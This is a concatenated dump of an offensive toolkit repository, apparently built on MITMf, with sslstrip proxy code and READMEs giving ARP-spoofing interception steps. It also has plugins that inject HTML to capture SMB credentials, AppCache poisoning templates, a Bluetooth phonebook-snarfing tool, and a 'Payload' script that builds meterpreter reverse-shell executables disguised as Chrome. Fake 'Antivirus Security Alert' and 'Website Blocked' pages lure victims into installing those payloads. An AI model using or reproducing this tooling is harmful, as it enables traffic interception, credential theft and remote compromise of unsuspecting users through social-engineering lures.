(%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" 18 | skip_join: true 19 | use_notice: true 20 | 21 | install: "pip install -r requirements.txt" 22 | before_script: 23 | - "pip install python-coveralls" 24 | script: 25 | - "nosetests --with-cov" 26 | after_success: 27 | - coveralls 28 | -------------------------------------------------------------------------------- /sniffer/tools/cve-details-parser.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python2 2 | 3 | import requests 4 | import lxml.html 5 | import sys 6 | 7 | r = requests.get(sys.argv[1]) 8 | tree = lxml.html.fromstring(r.text) 9 | 10 | try: 11 | 12 | vulntable = tree.xpath('//table[@id="vulnprodstable"]/*') 13 | list_len = len(vulntable) 14 | 15 | tuple_list = [] 16 | 17 | for i in vulntable[2:list_len]: 18 | java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip()) 19 | tuple_list.append(java_v) 20 | 21 | except IndexError: 22 | pass 23 | 24 | string_list = [] 25 | for v in sorted(set(tuple_list)): 26 | version, update = v 27 | if update: 28 | string_list.append("{}.{}".format(version, update)) 29 | else: 30 | string_list.append(version) 31 | 32 | print ', '.join(string_list) -------------------------------------------------------------------------------- /sniffer/plugins/CacheKill.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | 3 | 4 | class CacheKill(Plugin): 5 | name = "CacheKill" 6 | optname = "cachekill" 7 | desc = "Kills page caching by modifying headers" 8 | implements = ["handleHeader", "connectionMade"] 9 | has_opts = True 10 | bad_headers = ['if-none-match', 'if-modified-since'] 11 | 12 | def add_options(self, options): 13 | options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") 14 | 15 | def handleHeader(self, request, key, value): 16 | '''Handles all response headers''' 17 | request.client.headers['Expires'] = "0" 18 | request.client.headers['Cache-Control'] = "no-cache" 19 | 20 | def connectionMade(self, request): 21 | '''Handles outgoing request''' 22 | request.headers['Pragma'] = 'no-cache' 23 | for h in self.bad_headers: 24 | if h in request.headers: 25 | request.headers[h] = "" 26 | -------------------------------------------------------------------------------- /sniffer/core/ferretng/FerretProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class FerretProxy(HTTPChannel): 23 | 24 | requestFactory = ClientRequest 25 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | class DnsCache: 4 | 5 | ''' 6 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 7 | ''' 8 | 9 | _instance = None 10 | 11 | def __init__(self): 12 | self.customAddress = None 13 | self.cache = {} 14 | 15 | def cacheResolution(self, host, address): 16 | self.cache[host] = address 17 | 18 | def getCachedAddress(self, host): 19 | if host in self.cache: 20 | return self.cache[host] 21 | 22 | return None 23 | 24 | def getInstance(): 25 | if DnsCache._instance == None: 26 | DnsCache._instance = DnsCache() 27 | 28 | return DnsCache._instance 29 | 30 | def setCustomRes(self, host, ip_address=None): 31 | if ip_address is not None: 32 | self.cache[host] = ip_address 33 | logging.debug("DNS entry set: %s -> %s" %(host, ip_address)) 34 | else: 35 | if self.customAddress is not None: 36 | self.cache[host] = self.customAddress 37 | 38 | def setCustomAddress(self, ip_address): 39 | self.customAddress = ip_address 40 | 41 | getInstance = staticmethod(getInstance) 42 | -------------------------------------------------------------------------------- /tools/bluetooth/README: -------------------------------------------------------------------------------- 1 | bluesnarfer 2 | =========== 3 | 4 | linux bluesnarfing proof-of-concept tool 5 | code author: Roberto Martelloni "boos", boos@core-dumped.info 6 | 7 | Italian article is in file: BFi13-dev-18 8 | 9 | HOW TO USE 10 | 11 | bluesnarfer, version 0.1 - 12 | 13 | usage: ./bluesnarfer [options] [ATCMD] -b bt_addr 14 | ATCMD : valid AT+CMD (GSM EXTENSION) 15 | TYPE : valid phonebook type .. 16 | example : "DC" (dialed call list) 17 | "SM" (SIM phonebook) 18 | "RC" (recevied call list) 19 | "XX" much more 20 | 21 | -b bdaddr : bluetooth device address 22 | -C chan : bluetooth rfcomm channel 23 | 24 | -c ATCMD : custom action 25 | -r N-M : read phonebook entry N to M 26 | -w N-M : delete phonebook entry N to M 27 | -f name : search "name" in phonebook address 28 | -s TYPE : select phonebook memory storage 29 | -l : list aviable phonebook memory storage 30 | -i : device info 31 | 32 | it's simple :P 33 | 34 | what it's do ? 35 | rfcomm connection to bdaddr and send/recv AT command from gsm extension .. 36 | 37 | thanks to: mainman, sgrakkyu 38 | -------------------------------------------------------------------------------- /sniffer/config/responder/responder.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw 3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC 4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU 10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm 11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw 15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW 16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v 17 | u0/CRCN/lg== 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /tools/scripts/Payload: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "[*]Starting apache server" 3 | service apache start &> /dev/null 4 | service apache1 start &> /dev/null 5 | service apache2 start &> /dev/null 6 | service apache3 start &> /dev/null 7 | read -p "Enter your LHOST: " host 8 | echo 9 | read -p "Enter your full apache server path: " path 10 | echo 11 | read -p "Enter system type (x86,x64): " types 12 | echo 13 | echo "[*]Startng msfvenom" 14 | sleep 0.5 15 | echo "[*]Making Windows payload" 16 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=$host LPORT=4444 >/root/.SEF/chrome.exe 17 | mv /root/.SEF/chrome.exe $path 18 | echo "[*]Setting up server" 19 | echo 20 | echo "[*]Making Android payload" 21 | msfvenom -p android/meterpreter/reverse_tcp LHOST=$host LPORT=5555 >/root/.SEF/chrome.apk 22 | mv /root/.SEF/chrome.apk $path 23 | echo "[*]Setting up server" 24 | echo "[*]Making Linux payload" 25 | msfvenom -p linux/$types/meterpreter/reverse_tcp LHOST=$host LPORT=6666 >/root/.SEF/chrome.elf 26 | mv /root/.SEF/chrome.elf $path 27 | echo "[*]Setting up server" 28 | opreation=$? 29 | if [ $opreation == 0 ] 30 | then 31 | echo "Done" 32 | else 33 | echo "Error maybe you dont install metasploit or dont install apache server" 34 | fi 35 | -------------------------------------------------------------------------------- /tools/bluetooth/include/bluesnarfer.h: -------------------------------------------------------------------------------- 1 | #define VERSION "0.1" 2 | 3 | #define CUSTOM 0x1 4 | #define READ 0x2 5 | #define WRITE 0x3 6 | #define SEARCH 0x4 7 | #define LIST 0x5 8 | #define DDIAL 0x6 9 | #define INFO 0x7 10 | 11 | #define RFCOMMDEV "/dev/bluetooth/rfcomm/" 12 | #define DEFAULTPB "AT+CPBS=\"ME\"\r\n" 13 | 14 | struct opt { 15 | 16 | int act; /* action */ 17 | 18 | char *bd_addr; /* bd_addr dst of snarf */ 19 | int channel; /* rfcomm channel */ 20 | 21 | char *phonebook; /* memory storage phonebook */ 22 | int N_MIN; /* entry number MIN */ 23 | int N_MAX; /* entry number MAX */ 24 | char *name; /* name */ 25 | 26 | char *custom_cmd; /* custom AT+CMD */ 27 | 28 | } options; 29 | 30 | int device, ctl; 31 | 32 | void bt_rfcomm_rel(); 33 | void usage(char *); 34 | void parse_rw(struct opt *, char *); 35 | 36 | FILE *bt_rfcomm_config(); 37 | FILE *bt_rfcomm(int , char *, int ); 38 | 39 | char *parse(char *); 40 | char *rfcomm_read(FILE *, char *); 41 | 42 | int list_cmd(FILE *); 43 | int bluesnarfer(struct opt); 44 | int custom_cmd(FILE *, char *); 45 | int bt_get_remote_name(char *); 46 | int rw_cmd(FILE *, struct opt options); 47 | int search_cmd(FILE *, struct opt ); 48 | int switch_cmd(FILE *, struct opt ); 49 | -------------------------------------------------------------------------------- /sniffer/config/captive/portal.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Captive Portal 4 | 14 | 15 | 16 | 17 |
18 |
19 |
Client Required
20 | 26 |
27 | 28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /sniffer/core/sslstrip/README.md: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/README.md: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /sniffer/config/responder/AccessDenied.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Website Blocked: ISA Proxy Server 4 | 14 | 15 | 16 | 17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
    21 |
    22 |
    23 |
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • 24 |
    25 |
26 |
27 | 28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /sniffer/core/packetfilter.py: -------------------------------------------------------------------------------- 1 | from core.utils import set_ip_forwarding, iptables 2 | from core.logger import logger 3 | from scapy.all import * 4 | from traceback import print_exc 5 | from netfilterqueue import NetfilterQueue 6 | 7 | formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 8 | log = logger().setup_logger("PacketFilter", formatter) 9 | 10 | class PacketFilter: 11 | 12 | def __init__(self, filter): 13 | self.filter = filter 14 | 15 | def start(self): 16 | set_ip_forwarding(1) 17 | iptables().NFQUEUE() 18 | 19 | self.nfqueue = NetfilterQueue() 20 | self.nfqueue.bind(0, self.modify) 21 | 22 | self.nfqueue.run() 23 | 24 | def modify(self, pkt): 25 | #log.debug("Got packet") 26 | data = pkt.get_payload() 27 | packet = IP(data) 28 | 29 | for filter in self.filter: 30 | try: 31 | execfile(i) 32 | except Exception: 33 | log.debug("Error occurred in filter", filter) 34 | print_exc() 35 | 36 | pkt.set_payload(str(packet)) #set the packet content to our modified version 37 | pkt.accept() #accept the packet 38 | 39 | def stop(self): 40 | self.nfqueue.unbind() 41 | set_ip_forwarding(0) 42 | iptables().flush() 43 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | 24 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 25 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 26 | We then proxy these out using HTTP or HTTPS depending on what information we have about 27 | the (connection, client_address) tuple in our cache. 28 | ''' 29 | 30 | requestFactory = ClientRequest 31 | -------------------------------------------------------------------------------- /sniffer/config/app_cache_poison_templates/default.append: -------------------------------------------------------------------------------- 1 | 30 | 35 |
36 |

AppCache Poison works!

37 |

This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

38 |
-------------------------------------------------------------------------------- /sniffer/core/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | 24 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 25 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 26 | We then proxy these out using HTTP or HTTPS depending on what information we have about 27 | the (connection, client_address) tuple in our cache. 28 | ''' 29 | 30 | requestFactory = ClientRequest 31 | -------------------------------------------------------------------------------- /sniffer/core/ferretng/DnsCache.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | class DnsCache: 20 | 21 | ''' 22 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 23 | ''' 24 | 25 | _instance = None 26 | 27 | def __init__(self): 28 | self.customAddress = None 29 | self.cache = {} 30 | 31 | @staticmethod 32 | def getInstance(): 33 | if DnsCache._instance == None: 34 | DnsCache._instance = DnsCache() 35 | 36 | return DnsCache._instance 37 | 38 | def cacheResolution(self, host, address): 39 | self.cache[host] = address 40 | 41 | def getCachedAddress(self, host): 42 | if host in self.cache: 43 | return self.cache[host] 44 | 45 | return None 46 | -------------------------------------------------------------------------------- /sniffer/plugins/SMBAuth.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | from plugins.Inject import Inject 3 | import sys 4 | import logging 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy 6 | from scapy.all import get_if_addr 7 | 8 | 9 | class SMBAuth(Inject, Plugin): 10 | name = "SMBAuth" 11 | optname = "smbauth" 12 | desc = "Evoke SMB challenge-response auth attempts" 13 | 14 | def initialize(self, options): 15 | Inject.initialize(self, options) 16 | self.target_ip = options.host 17 | self.html_payload = self._get_data() 18 | 19 | if self.target_ip is None: 20 | try: 21 | self.target_ip = get_if_addr(options.interface) 22 | if self.target_ip == "0.0.0.0": 23 | sys.exit("[-] Interface %s does not have an IP address" % options.interface) 24 | except Exception, e: 25 | sys.exit("[-] Error retrieving interface IP address: %s" % e) 26 | 27 | print "[*] SMBAuth plugin online" 28 | 29 | def add_options(self, options): 30 | options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") 31 | 32 | def _get_data(self): 33 | return ''\ 34 | ''\ 35 | '' % tuple([self.target_ip]*3) 36 | -------------------------------------------------------------------------------- /sniffer/libs/responder/FindSQLSrv.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | # Created by Laurent Gaffie 3 | # This file is part of the Responder toolkit. 4 | # Copyright (C) 2014 Trustwave Holdings, Inc. 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | import socket 19 | from socket import * 20 | 21 | print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n' 22 | 23 | s = socket(AF_INET,SOCK_DGRAM) 24 | s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 25 | s.settimeout(2) 26 | s.sendto('\x02',('255.255.255.255',1434)) 27 | try: 28 | while 1: 29 | data, address = s.recvfrom(8092) 30 | if not data: 31 | break 32 | else: 33 | print "===============================================================\nHost details:",address[0] 34 | print data[2:] 35 | print "===============================================================\n" 36 | except: 37 | pass 38 | 39 | 40 | -------------------------------------------------------------------------------- /sniffer/plugins/smbauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | 21 | from plugins.plugin import Plugin 22 | from plugins.inject import Inject 23 | 24 | class SMBAuth(Inject, Plugin): 25 | name = "SMBAuth" 26 | optname = "smbauth" 27 | desc = "Evoke SMB challenge-response auth attempts" 28 | version = "0.1" 29 | 30 | def initialize(self, options): 31 | self.ip = options.ip 32 | Inject.initialize(self, options) 33 | self.html_payload = self._get_data() 34 | 35 | def _get_data(self): 36 | return ''\ 37 | ''\ 38 | '' % tuple([self.ip]*3) 39 | 40 | def options(self, options): 41 | pass 42 | -------------------------------------------------------------------------------- /Scame/index.html: -------------------------------------------------------------------------------- 1 | 2 | Antivirus Security Alert 3 | 4 | 5 | 6 | Antivirus Security Alert 7 |

Download and installation of upgrade required. 8 |

this security update resolves a vulnerabilty in Antivirus security.The vulnerabilty could allow remote code execution if a user views a specially crafted webage using 9 | any internet explorer.An attacker who successfully exploited this vulnerabilty could gain the same user rights as the current use.Customers whose accounts are 10 | configured to have fewer user rights on the system could be less impacted then those who operate with administrative user rights.

11 |

This security update is rated Critical for Antivirus security to make it saftey and easy to use and make it clean from vulnerabilty to stop 12 | any opreation hacking you on network and make your wireless network very strong agints attacker.

13 | 14 |

You can select your system type from below and please after download install software to make Antivirus saftey

15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /sniffer/core/logger.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python2.7 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright (c) 2014-2016 Marcello Salvati 5 | # 6 | # This program is free software; you can redistribute it and/or 7 | # modify it under the terms of the GNU General Public License as 8 | # published by the Free Software Foundation; either version 3 of the 9 | # License, or (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, but 12 | # WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | # General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 19 | # USA 20 | # 21 | 22 | import logging 23 | import sys 24 | 25 | 26 | class logger: 27 | 28 | log_level = None 29 | __shared_state = {} 30 | 31 | def __init__(self): 32 | self.__dict__ = self.__shared_state 33 | 34 | def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'): 35 | fileHandler = logging.FileHandler(logfile) 36 | fileHandler.setFormatter(formatter) 37 | streamHandler = logging.StreamHandler(sys.stdout) 38 | streamHandler.setFormatter(formatter) 39 | 40 | logger = logging.getLogger(name) 41 | logger.propagate = False 42 | logger.addHandler(streamHandler) 43 | logger.addHandler(fileHandler) 44 | logger.setLevel(self.log_level) 45 | 46 | return logger 47 | -------------------------------------------------------------------------------- /sniffer/plugins/smbtrap.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | import random 19 | import string 20 | 21 | from plugins.plugin import Plugin 22 | 23 | class SMBTrap(Plugin): 24 | name = "SMBTrap" 25 | optname = "smbtrap" 26 | desc = "Exploits the SMBTrap vulnerability on connected clients" 27 | version = "1.0" 28 | 29 | def initialize(self, options): 30 | self.ip = options.ip 31 | 32 | def responsestatus(self, request, version, code, message): 33 | return {"request": request, "version": version, "code": 302, "message": "Found"} 34 | 35 | def responseheaders(self, response, request): 36 | self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo) 37 | rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) 38 | response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)]) 39 | -------------------------------------------------------------------------------- /sniffer/config/app_cache_poison_templates/test.replace: -------------------------------------------------------------------------------- 1 | 2 | 33 | 38 |

Hurray!

39 |

AppCache Poison by Krzysztof Kotowicz

40 | 41 |

If you're seeing this, AppCache Poison works correctly. Try going to http://facebook.com to see it in action.

42 | 49 | -------------------------------------------------------------------------------- /sniffer/core/configwatcher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | import pyinotify 21 | import threading 22 | from configobj import ConfigObj 23 | 24 | class ConfigWatcher(pyinotify.ProcessEvent, object): 25 | 26 | @property 27 | def config(self): 28 | return ConfigObj("./config/mitmf.conf") 29 | 30 | def process_IN_MODIFY(self, event): 31 | self.on_config_change() 32 | 33 | def start_config_watch(self): 34 | wm = pyinotify.WatchManager() 35 | wm.add_watch('./config/mitmf.conf', pyinotify.IN_MODIFY) 36 | notifier = pyinotify.Notifier(wm, self) 37 | 38 | t = threading.Thread(name='ConfigWatcher', target=notifier.loop) 39 | t.setDaemon(True) 40 | t.start() 41 | 42 | def on_config_change(self): 43 | """ We can subclass this function to do stuff after the config file has been modified""" 44 | pass 45 | -------------------------------------------------------------------------------- /sniffer/plugins/sslstrip+.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import sys 20 | from plugins.plugin import Plugin 21 | 22 | class SSLstripPlus(Plugin): 23 | name = 'SSLstrip+' 24 | optname = 'hsts' 25 | desc = 'Enables SSLstrip+ for partial HSTS bypass' 26 | version = "0.4" 27 | tree_info = ["SSLstrip+ by Leonardo Nve running"] 28 | 29 | def initialize(self, options): 30 | self.options = options 31 | 32 | from core.sslstrip.URLMonitor import URLMonitor 33 | from core.servers.DNS import DNSChef 34 | from core.utils import iptables 35 | 36 | if iptables().dns is False and options.filter is False: 37 | iptables().DNS(self.config['MITMf']['DNS']['port']) 38 | 39 | URLMonitor.getInstance().setHstsBypass() 40 | DNSChef().setHstsBypass() 41 | 42 | def on_shutdown(self): 43 | from core.utils import iptables 44 | if iptables().dns is True: 45 | iptables().flush() 46 | -------------------------------------------------------------------------------- /sniffer/config/app_cache_poison_templates/facebook.append: -------------------------------------------------------------------------------- 1 | 30 | 35 |
36 |

We work on Facebook too!

37 |

%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create facebook.append or facebook.replace file and add your content there.

38 |
